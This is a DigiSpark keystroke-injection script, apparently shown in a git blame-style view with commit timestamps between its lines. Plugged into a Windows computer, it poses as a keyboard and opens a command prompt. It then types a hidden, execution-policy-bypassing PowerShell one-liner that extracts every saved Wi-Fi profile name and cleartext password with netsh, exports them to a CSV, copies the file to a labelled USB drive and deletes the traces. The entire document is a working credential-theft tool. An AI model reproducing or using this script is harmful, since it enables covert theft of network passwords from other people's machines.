2019-11-18 19:29:11 +00:00
|
|
|
//This DigiSpark script writes the wireless network credentials to a csv file on a usb drive.
|
|
|
|
//Change "VolumeName='USB_DRIVE_LABEL'" to reflect your drive's label.
|
2017-04-28 11:25:15 +00:00
|
|
|
//Credits to p0wc0w.
|
|
|
|
#include "DigiKeyboard.h"
|
|
|
|
void setup() {
|
|
|
|
}
|
|
|
|
|
|
|
|
void loop() {
|
|
|
|
DigiKeyboard.sendKeyStroke(0);
|
|
|
|
DigiKeyboard.delay(500);
|
|
|
|
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
|
|
|
|
DigiKeyboard.delay(500);
|
|
|
|
DigiKeyboard.print("cmd");
|
|
|
|
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
|
|
|
DigiKeyboard.delay(500);
|
2019-11-18 19:29:11 +00:00
|
|
|
DigiKeyboard.print(F("powershell -NoP -NonI -W Hidden -Exec Bypass \"(netsh wlan show profiles) | Select-String '\\:(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\\W+\\:(.+)$' | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Export-Csv c:\\windows\\temp\\temp.csv; cp c:\\windows\\temp\\temp.csv -destination $((gwmi -Query \\\"Select * from Win32_LogicalDisk where VolumeName='USB_DRIVE_LABEL'\\\").DeviceID); ri c:\\windows\\temp\\temp.csv -force"));
|
2017-04-28 11:25:15 +00:00
|
|
|
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
|
|
|
DigiKeyboard.print("exit");
|
|
|
|
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
|
|
|
for(;;){ /*empty*/ }
|
|
|
|
}
|